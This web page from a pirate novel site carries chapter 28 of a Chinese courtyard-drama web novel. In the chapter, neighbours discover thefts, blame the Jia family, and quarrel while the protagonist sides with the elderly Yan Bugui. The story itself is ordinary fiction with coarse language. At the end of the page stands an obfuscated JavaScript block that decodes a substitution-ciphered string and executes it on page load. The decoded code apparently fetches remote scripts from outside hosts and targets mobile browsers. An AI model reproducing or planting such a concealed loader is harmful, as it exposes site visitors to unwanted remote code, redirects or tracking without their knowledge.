首页
第二十八章 群众里有坏人
返回

第二十八章 群众里有坏人

章节报错(免登陆)

一秒记住【笔趣阁小说网】
xbiquge345.com,更新快,无弹窗!

    第二十八章群众里有坏人(第1/2页)
    第二天一早,天还没全亮,
    中院里已经有早起的人在水槽前排队打水了。
    洗菜的蹲在井沿边,搬煤的两手乌黑地往屋里搬蜂窝煤,倒泔水的捂着鼻子一路小跑。
    张池照旧用西红柿、肉丁和冰糖熬了满满一锅浓汁,闷了满满一屋子香气。
    等窗户缝里飘出去的肉香已经引得院子里几声低低的骂娘声后,他才推开窗户。
    汹涌的热气裹着肉香呼地一下灌满了整个中院。
    一连串的负面情绪值在脑海里刷刷往上蹦。
    来自刘铁根的+48,
    来自王二奎的+66,
    来自三大妈的+88,
    来自贾张氏的+128——
    这一位贡献最大,因为她家离得最近,窗户正对着张池北屋,
    那股肉香味儿一点没浪费全灌进她屋里去了。
    张池站在窗前深吸了一口带着肉香的晨风,心情美滋滋。
    不过今天这一大碗红烧肉面,不是给聋老太太准备的。
    老太太今儿没闹着要吃肉,他也就省了这一回。
    他端着饭盒走出门,蹲在廊下拿筷子挑着面条慢慢吸溜,顺便收割了最后一波早起邻居们的怨念。
    算了算时间,也该差不多了。
    他把最后一筷子面条吸进嘴里,刚把饭盒放回屋里,就听见前院传来一声惊叫。
    “了不得了!了不得了!大家快来啊,咱们院儿招贼了!”
    三大爷阎埠贵那又尖又细的嗓门,穿透了三个院子,惊得老槐树上的麻雀,呼啦啦全飞了起来。
    那声音里满是惊怒、恐惧和痛心,比上回他在巷子口喊“快去帮忙抬人”的时候还要凄厉几分。
    张池拿手帕擦了擦嘴,不紧不慢地出了北屋。
    中院里已经有不少人,往二门那边跑了,
    有拎着扁担的,有攥着火钩子的,还有几个妇人抱着孩子就跟过去了。
    他也随大溜地穿过月亮门到了前院。
    一到前院,就看到阎埠贵,一脸哭丧样地站在自家门口,两只手都在发抖,
    一会儿指着晾衣绳,一会儿又指着自家门槛,嘴哆嗦得,说不出囫囵话来。
    三大妈干脆坐在门槛上,哭了起来,一把鼻涕一把泪的。
    易中海披着蓝布棉袄,从东厢快步赶过来,挤进人群,站在前院当中,皱着眉头道:
    “老阎,一大清早的,不去上班,在这儿折腾什么?
    什么贼啊偷啊的,是好话吗?
    外头听到了,像什么样子,街道要是知道了,今年的先进四合院,还评不评了?
    你家二两香油,还要不要了?”
    阎埠贵看来是真气坏了,喘气都不匀了,脖子上的青筋都蹦了出来。
    他指着自家门口那根空荡荡的晾衣绳,咬牙切齿道:
    “像什么?老易,咱们院儿招大贼了!
    我的皮鞋、我的公文包、我的中山装——昨儿趁着天气好,全都洗了晾在这儿,
    寻思着今早上穿着干干净净地去上班。
    你们瞧瞧,你们瞧瞧,哪还有?
    皮鞋是我上个月,才从委托商店淘回来的,两块五!
    中山装是我过年新做的,还没穿过三回!
    公文包是我教学用的,里面还有一本《新华字典》!”
    他说到最后声音都劈了。
    众人顺着他的手指,往晾衣绳上看去——绳子上空空荡荡的,
    只有几根晾衣服用的竹夹子,还在晨风里微微晃荡。
    傻柱挤在人群里,一看这副光景就乐了。
    他抱着胳膊呵呵笑道:
    “三大爷,要我说,该!您说您平日里精打细算个什么劲儿?
    天天把‘吃不穷穿不穷,算计不到就受穷’挂嘴边,
    买个皮鞋,还买二手的,擦得锃亮跟新的一样,穿出去显摆。
    您显摆什么呀您?好了吧,都没了吧?这一下省心了,不用算计了。”
    阎埠贵闻言,气得整个人都摇晃了起来,捂着心口,差点没背过气去。
    三大妈也不哭了,从门槛上跳起来,指着傻柱的鼻子骂:
    “柱子,你还有没有良心?我们家招了贼,你还说风凉话!”
    易中海厉声喝斥道:
    “柱子,不会说话,把嘴给我闭上!这是落井下石的时候吗?
    院里出了这种事,你不帮着想法子就算了,还在旁边说风凉话,像什么样子!”
    傻柱切了声,把脸扭到一边去,不过好歹没再开口。
    张池站在人群里,往前走了两步,笑呵呵地打圆场道:
    “柱子哥也是想宽慰宽慰三大爷,就是话说得直了些。
    三大爷虽然爱算计些,但他有原则有底线,不会害人呐。
    单凭这个,就比好些人强——起码从不坑蒙拐骗,也不占人便宜。
    解成,你说是吧?”
    阎解成正站在他爹旁边干瞪眼,被张池突然点名,下意识就点了头:
    “对对对,我爸就是抠了点,可从没拿过别人一根线。”
    傻柱在旁边听了,挠了挠后脑勺,也觉得刚才说得过了火,嘿嘿笑了两声,没再吭声。
    张池又对阎解成道:
    “解成,你去看看,还丢了别的什么没有。
    我寻思着,不该就你家丢东西——是不是有哪个孩子淘气,拿着丢哪儿去了?
    三大爷为人不错,在这院里也没什么仇人。
    就算是真进了贼,也不可能指着你家一个人偷啊,你们家又不是最殷实的。”
    阎解成被他爹一把推了出去,赶紧跑回家翻箱倒柜地查了起来。
    阎埠贵也回过神来,扶了扶歪到一边的眼镜,忙点头道:
    “对对对,大家都去瞅瞅,看看是不是谁家孩子淘气,丢哪儿去了。
    都找找,都找找,说不定就在哪个犄角旮旯里。
    我家解旷昨儿还拿了我的钢笔,塞到煤堆里,找了好半天才找着。”
    易中海皱了皱眉,总觉得哪里有些不对。
    但他看了看阎埠贵那张快要哭出来的脸,还是点头应下,招呼院里的人四处找找。
    傻柱去了东边夹道,刘光齐去了后院角落,许大茂嘴里嘟嘟囔囔地往厕所方向走,
    几个半大小子更是嘻嘻哈哈地满院子乱蹿。
    别说,还真把公文包给找着了。
    许大茂用两根手指捏着一个沾满了煤灰的黑色公文包,从贾家南面的夹角处走了出来,那个夹角就在贾家窗户根底下,是贾家自己圈起来堆蜂窝煤和破木板的。
    公文包皱巴巴的,面上沾了一层黑煤灰,里面的《新华字典》还在,但包本身已经蹭得不成样子了。
    阎埠贵一把抢过来,心疼得直抽气,可其他的皮鞋、中山装——全都没着落。
    没一会儿,院里又有住户叫了起来。
    王二奎婆娘从自家厨房冲出来,手里举着一个空碗,尖声喊道:
    “我家昨儿晚上发好的白面没了!
    就搁在灶台上,盖着搪瓷盆,今早上一看,盆还在,面没了!”
    刘铁根媳妇也跑了出来,说自家丢了半碗盐。
    后院六根家的更惨,说丢了一整袋红薯,那是她家准备蒸了当早饭的。
    一群人越说越气,越说越激动,开始在院子里四处翻找起来。
    结果很快就有人发现,贾家门口的青砖地上,居然零零散散地撒着一些盐粒和白面。
    盐粒在晨光下闪着细微的光,白面早就被踩得和泥混在了一起,但颜色明显比周围的土浅。
    顺着这些痕迹,在贾家门口的另一个夹角——堆柴火的地方——
    又发现了几块红薯皮,红薯皮还是新鲜的,边缘没有干缩,一看就是刚削下来不久。
    好家伙,群众们的怒气,一下子就炸了。
    一大早饿着肚子起来洗脸刷牙,结果家里丢东西的丢东西,让人当傻子,耍了这么久,原来贼就藏在自己眼皮子底下。
    “贾张氏!你出来!”
    刘铁根媳妇第一个冲上去,拍贾家的门板,那门板被她拍得咣咣响,窗纸都跟着直抖。
    王二奎婆娘也不甘示弱,捡起地上那几块红薯皮举在手里,尖声喊道:
    “看清楚了,这就是贾家门口捡的,还是新鲜的!昨儿偷了红薯,就在这儿削的皮!”
    傻柱站在廊下,脸上的表情说不上是惊讶还是别扭,
    他张了张嘴想替秦姐说句话,可看着地上那明晃晃的盐粒和面渣子,又不知道该从哪儿说起。
    许大茂嗑着瓜子,靠在后院月亮门上,马脸拉得老长,笑得都快合不拢嘴了。
    易中海站在院子中间,脸色铁青,想说什么,又觉得嗓子眼被堵住了。
    群众里真藏有坏分子啊。
    “duang!”
    贾家的门板被刘铁根媳妇一巴掌拍得震天响,窗纸都跟着抖了三抖。
    贾张氏刚端着搪瓷缸子,从屋里出来,还没闹明白怎么回事,
    就看见乌压压一群人涌进了她家门口。
    打头的是王二奎婆娘,手里举着几块红薯皮,那架势跟举着血衣似的。
    后面跟着刘铁根媳妇、六根家的、还有好几个住在中院和前院的妇人,
    一个个眼睛瞪得跟铜铃一样,嘴里骂骂咧咧的,手指头都快戳到她脸上了。
    (本章未完,请点击下一页继续阅读)第二十八章群众里有坏人(第2/2页)
    贾张氏都懵了。
    她活了四十多年,从来都是她骂别人,什么时候被人堵着门骂过?
    她那双母狗眼登时瞪起,脸上的横肉一颤一颤的,把搪瓷缸子往桌上一顿,破口反骂道:
    “放你奶奶的狗屁!哪个天杀的丧门星说是我们家偷的?
    站出来让我瞧瞧!我撕烂他的狗嘴!”
    阎埠贵气得浑身发抖,玳瑁眼镜差点从鼻梁上滑下来。
    他损失最大,皮鞋两块五、中山装过年新做的、公文包里还有一本《新华字典》,
    加起来小五块钱了,够他家嚼用半个月的。
    平日里那点胆小和冷静全没了,他挤到人群最前头,手指头哆嗦着指向贾张氏:
    “你就是最大的贼!
    贾张氏,赶紧把我皮鞋、公文包给拿出来!
    不然今天这事儿没完,我阎埠贵说到做到,非去派出所,告你不可!”
    张六根家的婆娘也骂道:
    “你这老屎棍子,喝尿喝多了吧?跑我们家去偷面!
    那白面是我昨儿晚上才发上的,准备今早上蒸窝头,给六根带饭的,你倒好,连盆都给端了!”
    贾张氏根本不惧,两只手往腰上一叉,各种粗话脏话跟开闸的洪水一样往外飚,
    什么“绝户养的”、“狗娘养的”、“丧门星下出来的烂货”,骂得唾沫星子横飞,
    一个人愣是把三四个妇人的骂声全压了下去。
    秦淮茹抱着小当站在门口,整个人都懵了。
    她早上起来,一直在灶台前忙活,烧水、熬粥、洗尿布,根本没注意厨房角落里多了什么少了什么。
    她急得眼圈都红了,往前走了两步,声音里带着哭腔道:
    “三大爷、周婶子,是不是有什么误会?
    我们家一家子昨晚都没出门,我妈睡得早,东旭也在炕上躺了一宿,棒梗跟我睡的,连厕所都没去。
    怎么会偷你们的东西?”
    阎埠贵抖着手里那个脏兮兮的公文包,气得声音都变了调:
    “不是你们家偷的,还有谁?
    我这公文包就在你们家窗户根底下发现的!上面蹭的全是煤灰,跟你们家煤堆里的煤灰一模一样!
    还有这些盐粒、白面——都是从你们家门口地上捡的!
    秦淮茹,你自己来看,这还有假?”
    贾东旭刚才一直在屋里系裤腰带,听见外面越吵越凶,才趿拉着鞋走出来。
    他一看这阵仗就火了——院子里这群人,平时见了他,还得叫声“东旭哥”,
    今儿倒好,堵着他家门骂他一家是贼。
    他上前一步,一把推开挡在前面的王二奎婆娘,指着阎埠贵的鼻子大怒道:
    “阎埠贵,你别给脸不要脸!
    都是一个四合院的,我们家窗户根旁边,不也是张池他们家窗户根旁边?不也是你们家窗户根旁边?
    凭什么就说是我们家偷的?你拿这点破盐烂面,就想往我头上扣屎盆子?
    我贾东旭在轧钢厂上班,一个月工资够买一车盐的,犯得着偷你那半碗?”
    阎埠贵气极,脖子上的青筋都蹦出来了,整个人抖得跟筛糠一样:
    “好啊,你还骂人——这就是你们家的教养?
    老易呢?老易,这就是你教出来的好徒弟?你出来给评评理!”
    易中海一直站在人群边上,端着搪瓷缸子没说话。
    他脑子转得飞快——贾家偷东西,不是第一回了,他很清楚。
    但他一直觉得那是穷闹的,不是大毛病。
    可今天这事闹得太大了,全院都看着,他想偏袒都没法开口。
    他沉着脸先喝退贾东旭:
    “东旭,注意文明!有话好好说,别跟长辈动手动脚的。”
    贾东旭梗着脖子,脖子上的青筋还没消下去,转过头来对易中海道:
    “师父,不是我不尊重老人,是他没个老人样儿!
    大清早跑我家里来,骂我们一家都是贼,我贾东旭在轧钢厂是有头有脸的人,什么时候受过这种窝囊气?
    我没动手打他,已经是看您的面子了!”
    张池一直靠在贾家门框上,抱着胳膊看戏。
    听到这里,他忽然开了口,声音不高,但每个字都稳稳当当的:
    “贾东旭,说话前过过脑子。
    我警告你,在我们这个院儿,干啥都行——就是不能不尊敬老人。
    你今天动三大爷一根指头试试,我让你在四合院待不下去,你信不信?”
    贾东旭猛地转过头来,眼珠子都红了,怒吼道:
    “我不信!你能把我怎么着啊?你丫算老几?
    一个刚转正俩月的办事员,真拿自己当干部了?”
    张池也不跟他吵,冷笑一声,扭头对人群里的阎解成道:
    “解成,去看看你柱子哥、大茂哥、光齐哥他们上班去了没有。
    在的话去叫一声,就说我张池找他们。”
    其实他眼角余光早就瞥见了——
    傻柱正蹲在自家门口系鞋带,许大茂靠在月亮门上嗑瓜子,刘光齐站在游廊下踮着脚往这边看。
    这几个孙子压根没打算去上班,搁这儿看热闹呢。
    故意这么叫一声,显得有逼格。
    果然,阎解成还没迈步,许大茂就一把拨开前面的人,从人群后头蛮横地挤了进来。
    他今天穿了那件藏青色的中山装,头还拿水抹了,马脸高高扬起,站到张池身侧,拿眼斜着贾东旭:
    “池子,哥在这儿呢!怎么着,有人跟你过不去?哪个不长眼的,说给我听听。”
    刘光齐也赶紧挤了进来,站在张池另一边:“池子,我也在。”
    他个子没许大茂高,但胜在结实,往那一站也是个门神。
    傻柱更别提了,他从廊下一步三晃地走过来,手里还拿着锅铲,乐呵呵道:
    “我可一直都在呢。
    池子,刚你还和我说话来着,怎么转眼就把哥哥给忘了?”
    他站在张池身后,跟一尊铁塔似的,把贾家屋门口的光都挡住了大半。
    张池呵呵一笑,指了指贾东旭,语气轻描淡写:
    “咱们院儿出了个大能人,要打三大爷呢。
    我就奇了怪了——什么时候,咱们院儿的人,连老人都敢打了?这歪风邪气是从哪儿冒出来的?
    上回是一大爷半夜捉奸,这回是东旭要打三大爷,下回是不是二大爷也要挨揍了?”
    易中海站在旁边,面色阴沉得像锅底。
    他心里狂骂——歪风邪气,还不是你这坏种带进四合院的!
    前几天才把我老伴儿吓得够呛,还把贾张氏摔了个屁股墩儿,现在还有脸站在这充道德模范。
    可他这话没法说出口,只能攥着搪瓷缸子一声不吭。
    许大茂眼睛瞪得跟牛蛋似的,把脖子一梗,冷冷地瞥向贾东旭:
    “孙贼,你丫疯了,是不是?敢打三大爷?
    三大爷平时对你家不薄吧?
    过年还给你家送过二两香油,你都忘了?”
    傻柱也点了点头,语气难得地严肃了几分:
    “那不行,那绝对不行。
    这事儿要是传出去,咱们院儿的年轻人名声都要臭大街。
    人家会说南锣鼓巷九十五号院,养了一群什么玩意儿,连老人都敢打。”
    他这话一半是真心,一半是看张池的脸色。
    阎解成也是个暴脾气,虽然才十五,可正是血气方刚的时候。
    他一步上前,指着贾东旭的鼻子骂道:
    “贾东旭,我艹你姥姥!你敢动我爸一下试试!我打不过你,我也跟你拼了!”
    贾东旭被一个半大小子当众指着鼻子骂,脸上挂不住了,抬手就朝阎解成脸上扇了过去。
    张池眼疾手快,一把将阎解成提溜回来,贾东旭那一巴掌抡了个空,身子还跟着往前晃了一下。
    张池把阎解成往身后一推,语气平静得像是什么都没发生:
    “去,扶你爸去我屋里。
    我刚煮了一碗红烧烂肉面,本来是准备给后院老太太送过去的——算了,
    今儿三大爷受了这么大的委屈,这碗面让你爸吃。告诉他消消气,今儿这事不算完。”
    阎埠贵哪受到过这样的礼遇。
    他在这院儿里当了一辈子的三大爷,从来都是他请别人,什么时候有人专门为他煮过一碗肉面。
    他颤颤巍巍地走上前来,两只干瘦的手,握住张池的手,嘴唇哆嗦了好半天,镜片后面的眼眶都红了,声音哽咽道:
    “池子啊,池子啊,还是你仁义!
    我阎埠贵在这院儿里住了二十年,今儿才知道,谁是真正的好人。”
    张池心里都有些不落忍了——他是真没想到,阎埠贵会感动成这样。
    他不过是借这碗面,把戏做足,顺便让贾家看看,得罪他张池的人,是什么下场。
    可看阎埠贵这副老泪纵横的模样,他心里叹了口气,面上还是温和地拍了拍阎埠贵的手背:
    “去吧,去吧。三大妈也跟着去,别客气,就是一碗面的事。”
    等阎解成扶着他爹、三大妈抹着泪跟在后面,出了贾家门,贾家屋里的气氛就彻底变了。
    阎埠贵走了,可还有一堆丢了东西的邻居,还在门口站着呢。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();